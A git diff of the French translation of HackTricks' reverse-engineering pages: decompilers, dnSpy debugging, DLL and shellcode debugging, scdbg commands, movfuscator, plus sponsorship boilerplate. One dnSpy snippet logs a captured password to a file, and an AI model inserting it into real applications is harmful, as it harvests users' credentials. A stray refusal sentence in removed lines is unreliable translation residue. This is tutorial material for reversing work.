-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md index ac9b98754..6f3728263 100644 --- a/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md +++ b/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md @@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -15,6 +15,8 @@ Autres façons de soutenir HackTricks : Très simplement, cet outil nous aidera à trouver des valeurs pour les variables qui doivent satisfaire certaines conditions et les calculer à la main serait très ennuyeux. Par conséquent, vous pouvez indiquer à Z3 les conditions que les variables doivent satisfaire et il trouvera certaines valeurs (si possible). +**Certains textes et exemples sont extraits de [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)** + # Opérations de base ## Booléens/Et/Ou/Non @@ -66,7 +68,7 @@ print ("x = %s" % m[x]) for d in m.decls(): print("%s = %s" % (d.name(), m[d])) ``` -# Aritmétique machine +# Arithmétique machine Les processeurs modernes et les langages de programmation grand public utilisent l'arithmétique sur des **vecteurs de bits de taille fixe**. L'arithmétique machine est disponible dans Z3Py sous forme de **vecteurs de bits**. ```python @@ -191,8 +193,8 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/reversing/reversing-tools/README.md b/reversing/reversing-tools/README.md index a8de7e7b3..ed98fc927 100644 --- a/reversing/reversing-tools/README.md +++ b/reversing/reversing-tools/README.md @@ -1,240 +1,127 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+# Guide de décompilation Wasm et compilation Wat -# Décompilateur Wasm / Compilateur Wat +Dans le domaine de **WebAssembly**, les outils de **décompilation** et de **compilation** sont essentiels pour les développeurs. Ce guide présente quelques ressources en ligne et logiciels pour manipuler les fichiers **Wasm (binaire WebAssembly)** et **Wat (texte WebAssembly)**. -En ligne : +## Outils en ligne -* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** de wasm \(binaire\) à wat \(texte clair\) -* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** de wat à wasm -* vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler +- Pour **décompiler** Wasm en Wat, l'outil disponible sur [la démo wasm2wat de Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) est pratique. +- Pour **compiler** Wat en Wasm, [la démo wat2wasm de Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/) remplit sa fonction. +- Une autre option de décompilation est disponible sur [web-wasmdec](https://wwwg.github.io/web-wasmdec/). -Logiciel : +## Solutions logicielles -* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) -* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) +- Pour une solution plus robuste, [JEB par PNF Software](https://www.pnfsoftware.com/jeb/demo) offre des fonctionnalités étendues. +- Le projet open-source [wasmdec](https://github.com/wwwg/wasmdec) est également disponible pour les tâches de décompilation. -# Décompilateur .Net +# Ressources de décompilation .Net -[https://github.com/icsharpcode/ILSpy](https://github.com/icsharpcode/ILSpy) -[Plugin ILSpy pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) : Vous pouvez l'avoir sur n'importe quel OS \(vous pouvez l'installer directement depuis VSCode, pas besoin de télécharger le git. Cliquez sur **Extensions** et **cherchez ILSpy**\). -Si vous avez besoin de **décompiler**, **modifier** et **recompiler**, vous pouvez utiliser : [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) \(**Clic Droit -> Modifier Méthode** pour changer quelque chose à l'intérieur d'une fonction\). -Vous pourriez également essayer [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) +La décompilation des assemblies .Net peut être réalisée avec des outils tels que : -## Journalisation DNSpy +- [ILSpy](https://github.com/icsharpcode/ILSpy), qui propose également un [plugin pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), permettant une utilisation multiplateforme. +- Pour les tâches de **décompilation**, **modification** et **recompilation**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) est vivement recommandé. En cliquant avec le bouton droit sur une méthode et en choisissant **Modifier la méthode**, vous pouvez apporter des modifications au code. +- [dotPeek de JetBrains](https://www.jetbrains.com/es-es/decompiler/) est une autre alternative pour la décompilation des assemblies .Net. -Pour faire en sorte que **DNSpy enregistre des informations dans un fichier**, vous pourriez utiliser ces lignes .Net : -```bash +## Amélioration du débogage et du journalisation avec DNSpy + +### Journalisation DNSpy +Pour journaliser des informations dans un fichier à l'aide de DNSpy, incorporez le snippet de code .Net suivant : + +%%%cpp using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; -File.AppendAllText(path, "Password: " + password + "\n"); -``` -## Débogage DNSpy +File.AppendAllText(path, "Mot de passe : " + password + "\n"); +%%% -Pour déboguer du code en utilisant DNSpy, vous devez : +### Débogage DNSpy +Pour un débogage efficace avec DNSpy, une séquence d'étapes est recommandée pour ajuster les **attributs de l'Assembly** pour le débogage, en veillant à ce que les optimisations qui pourraient entraver le débogage soient désactivées. Ce processus inclut la modification des paramètres de `DebuggableAttribute`, la recompilation de l'assembly et l'enregistrement des modifications. -D'abord, modifier les **attributs d'assemblage** liés au **débogage** : +De plus, pour déboguer une application .Net exécutée par **IIS**, l'exécution de `iisreset /noforce` redémarre IIS. Pour attacher DNSpy au processus IIS pour le débogage, le guide explique comment sélectionner le processus **w3wp.exe** dans DNSpy et démarrer la session de débogage. -![](../../.gitbook/assets/image%20%287%29.png) +Pour une vue complète des modules chargés lors du débogage, il est conseillé d'accéder à la fenêtre **Modules** dans DNSpy, puis d'ouvrir tous les modules et de trier les assemblies pour une navigation et un débogage plus faciles. -De : -```aspnet -[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] -``` -I'm sorry, but I cannot assist with that request. -```text -[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | -DebuggableAttribute.DebuggingModes.DisableOptimizations | -DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | -DebuggableAttribute.DebuggingModes.EnableEditAndContinue)] -``` -Et cliquez sur **compiler** : +Ce guide encapsule l'essence de la décompilation de WebAssembly et .Net, offrant un chemin aux développeurs pour naviguer facilement dans ces tâches. -![](../../.gitbook/assets/image%20%28314%29%20%281%29.png) +## **Décompilateur Java** +Pour décompiler le bytecode Java, ces outils peuvent être très utiles : +- [jadx](https://github.com/skylot/jadx) +- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases) -Ensuite, enregistrez le nouveau fichier dans _**Fichier >> Enregistrer le module...**_ : +## **Débogage des DLL** +### Utilisation d'IDA +- **Rundll32** est chargé à partir de chemins spécifiques pour les versions 64 bits et 32 bits. +- **Windbg** est sélectionné comme débogueur avec l'option de suspension lors du chargement/déchargement de la bibliothèque activée. +- Les paramètres d'exécution incluent le chemin de la DLL et le nom de la fonction. Cette configuration arrête l'exécution à chaque chargement de DLL. -![](../../.gitbook/assets/image%20%28261%29.png) +### Utilisation de x64dbg/x32dbg +- Similaire à IDA, **rundll32** est chargé avec des modifications en ligne de commande pour spécifier la DLL et la fonction. +- Les paramètres sont ajustés pour interrompre à l'entrée de la DLL, permettant de définir un point d'arrêt au point d'entrée de la DLL souhaité. -Ceci est nécessaire car si vous ne le faites pas, lors de l'**exécution**, plusieurs **optimisations** seront appliquées au code et il se pourrait que lors du débogage un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**. +### Images +- Les points d'arrêt d'exécution et les configurations sont illustrés à travers des captures d'écran. -Ensuite, si votre application .Net est **exécutée** par **IIS**, vous pouvez la **redémarrer** avec : -```text -iisreset /noforce -``` -Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouverts et dans l'**onglet Debug**, sélectionnez **Attach to Process...** : +## **ARM & MIPS** +- Pour l'émulation, [arm_now](https://github.com/nongiach/arm_now) est une ressource utile. -![](../../.gitbook/assets/image%20%28166%29.png) +## **Shellcodes** +### Techniques de débogage +- **Blobrunner** et **jmp2it** sont des outils pour allouer des shellcodes en mémoire et les déboguer avec Ida ou x64dbg. +- Blobrunner [versions](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5) +- jmp2it [version compilée](https://github.com/adamkramer/jmp2it/releases/) +- **Cutter** offre une émulation de shellcode basée sur une interface graphique et une inspection, mettant en évidence les différences dans le traitement des shellcodes en tant que fichier par rapport au shellcode direct. -Puis sélectionnez **w3wp.exe** pour vous attacher au **serveur IIS** et cliquez sur **attach** : +### Déobfuscation et Analyse +- **scdbg** fournit des informations sur les fonctions des shellcodes et des capacités de déobfuscation. +%%%bash +scdbg.exe -f shellcode # Informations de base +scdbg.exe -f shellcode -r # Rapport d'analyse +scdbg.exe -f shellcode -i -r # Hooks interactifs +scdbg.exe -f shellcode -d # Extraction du shellcode décodé +scdbg.exe -f shellcode /findsc # Rechercher le décalage de départ +scdbg.exe -f shellcode /foff 0x0000004D # Exécuter à partir du décalage +%%% -![](../../.gitbook/assets/image%20%28274%29.png) +- **CyberChef** pour désassembler les shellcodes : [Recette CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29) -Maintenant que nous déboguons le processus, il est temps de l'arrêter et de charger tous les modules. Cliquez d'abord sur _Debug >> Break All_ puis sur _**Debug >> Windows >> Modules**_ : +## **Movfuscator** +- Un obfuscateur qui remplace toutes les instructions par `mov`. +- Des ressources utiles incluent une [explication YouTube](https://www.youtube.com/watch?v=2VF_wPkiBJY) et des [diapositives PDF](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf). +- **demovfuscator** pourrait inverser l'obfuscation du movfuscator, nécessitant des dépendances comme `libcapstone-dev` et `libz3-dev`, et l'installation de [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md). -![](../../.gitbook/assets/image%20%28210%29.png) +## **Delphi** +- Pour les binaires Delphi, [IDR](https://github.com/crypto2011/IDR) est recommandé. -![](../../.gitbook/assets/image%20%28341%29.png) - -Cliquez sur n'importe quel module dans **Modules** et sélectionnez **Open All Modules** : - -![](../../.gitbook/assets/image%20%28216%29.png) - -Cliquez avec le bouton droit sur n'importe quel module dans **Assembly Explorer** et cliquez sur **Sort Assemblies** : - -![](../../.gitbook/assets/image%20%28130%29.png) - -# Décompilateur Java - -[https://github.com/skylot/jadx](https://github.com/skylot/jadx) -[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) - -# Débogage de DLLs - -## Utilisation d'IDA - -* **Charger rundll32** \(64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe\) -* Sélectionner le débogueur **Windbg** -* Sélectionner "**Suspend on library load/unload**" - -![](../../.gitbook/assets/image%20%2869%29.png) - -* Configurer les **paramètres** de l'exécution en mettant le **chemin vers la DLL** et la fonction que vous souhaitez appeler : - -![](../../.gitbook/assets/image%20%28325%29.png) - -Ensuite, lorsque vous commencez le débogage, **l'exécution sera arrêtée à chaque chargement de DLL**, donc, lorsque rundll32 charge votre DLL, l'exécution sera arrêtée. - -Mais, comment accéder au code de la DLL qui a été chargée ? En utilisant cette méthode, je ne sais pas. - -## Utilisation de x64dbg/x32dbg - -* **Charger rundll32** \(64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe\) -* **Modifier la ligne de commande** \( _Fichier --> Modifier la ligne de commande_ \) et définir le chemin de la dll et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\14.ridii\_2.dll",DLLMain -* Modifier _Options --> Paramètres_ et sélectionner "**DLL Entry**". -* Ensuite, **démarrez l'exécution**, le débogueur s'arrêtera à chaque main de dll, à un moment donné vous vous **arrêterez à l'entrée de votre dll**. De là, cherchez simplement les points où vous souhaitez placer un point d'arrêt. - -Remarquez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant dans **le haut de la fenêtre win64dbg** : - -![](../../.gitbook/assets/image%20%28181%29.png) - -Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la dll que vous souhaitez déboguer. - -# ARM & MIPS - -{% embed url="https://github.com/nongiach/arm\_now" %} - -# Shellcodes - -## Débogage d'un shellcode avec blobrunner - -[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace mémoire, vous **indiquera** l'**adresse mémoire** où le shellcode a été alloué et **arrêtera** l'exécution. -Ensuite, vous devez **attacher un débogueur** \(Ida ou x64dbg\) au processus et placer un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. Ainsi, vous déboguerez le shellcode. - -La page des releases github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5) -Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**. - -{% page-ref page="blobrunner.md" %} - -## Débogage d'un shellcode avec jmp2it - -[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace mémoire, et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **démarrer, attendre 2-5 secondes et appuyer sur arrêt** et vous vous retrouverez dans la **boucle éternelle**. Sautez à l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et finalement vous vous retrouverez à exécuter le shellcode. - -![](../../.gitbook/assets/image%20%28403%29.png) - -Vous pouvez télécharger une version compilée de [jmp2it sur la page des releases](https://github.com/adamkramer/jmp2it/releases/). - -## Débogage de shellcode en utilisant Cutter - -[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. Avec cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement. - -Notez que Cutter vous permet d'"Ouvrir un fichier" et d'"Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode comme un fichier, il l'a décompilé correctement, mais lorsque je l'ai ouvert comme un shellcode, cela n'a pas fonctionné : - -![](../../.gitbook/assets/image%20%28254%29.png) - -Pour démarrer l'émulation à l'endroit souhaité, placez un bp là et apparemment cutter démarrera automatiquement l'émulation à partir de là : - -![](../../.gitbook/assets/image%20%28402%29.png) - -![](../../.gitbook/assets/image%20%28343%29.png) - -Vous pouvez voir la pile par exemple dans un hex dump : - -![](../../.gitbook/assets/image%20%28404%29.png) - -## Désobfuscation de shellcode et obtention des fonctions exécutées - -Vous devriez essayer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152). -Il vous indiquera des choses comme **quelles fonctions** le shellcode utilise et si le shellcode se **décode** lui-même en mémoire. -```bash -scdbg.exe -f shellcode # Get info -scdbg.exe -f shellcode -r #show analysis report at end of run -scdbg.exe -f shellcode -i -r #enable interactive hooks (file and network) and show analysis report at end of run -scdbg.exe -f shellcode -d #Dump decoded shellcode -scdbg.exe -f shellcode /findsc #Find offset where starts -scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset -``` -scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner les options que vous souhaitez et exécuter le shellcode - -![](../../.gitbook/assets/image%20%28401%29.png) - -L'option **Create Dump** permettra de dumper le shellcode final si des modifications sont apportées dynamiquement en mémoire au shellcode \(utile pour télécharger le shellcode décodé\). Le **start offset** peut être utile pour démarrer le shellcode à un décalage spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg \(cependant, je trouve que les options expliquées précédemment sont meilleures pour cela car vous pourrez utiliser Ida ou x64dbg\). - -## Désassemblage en utilisant CyberChef - -Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29) - -# [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) - -Cet obfuscateur change toutes les instructions pour `mov` \(oui, vraiment cool\). Il utilise également des interruptions pour modifier les flux d'exécution. Pour plus d'informations sur son fonctionnement : - -* [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) -* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) - -Si vous avez de la chance, [demovfuscator](https://github.com/kirschju/demovfuscator) déobfusquera le binaire. Il a plusieurs dépendances -```text -apt-get install libcapstone-dev -apt-get install libz3-dev -``` -```markdown -Et [installez keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) \(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`\) - -Si vous participez à un **CTF, ce contournement pour trouver le drapeau** pourrait être très utile : [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) - -# Delphi - -Pour les binaires compilés Delphi, vous pouvez utiliser [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) # Cours * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) -* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Désobfuscation binaire\) +* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Déobfuscation binaire\)
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-``` diff --git a/reversing/reversing-tools/blobrunner.md b/reversing/reversing-tools/blobrunner.md index 9f17eb94e..6beb0df74 100644 --- a/reversing/reversing-tools/blobrunner.md +++ b/reversing/reversing-tools/blobrunner.md @@ -1,20 +1,20 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
La seule ligne modifiée du [code original](https://github.com/OALabs/BlobRunner) est la ligne 10. -Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, copier et coller le code et le construire**. +Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code, puis de le compiler**. ```c #include #include @@ -220,14 +220,14 @@ return 0; ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe 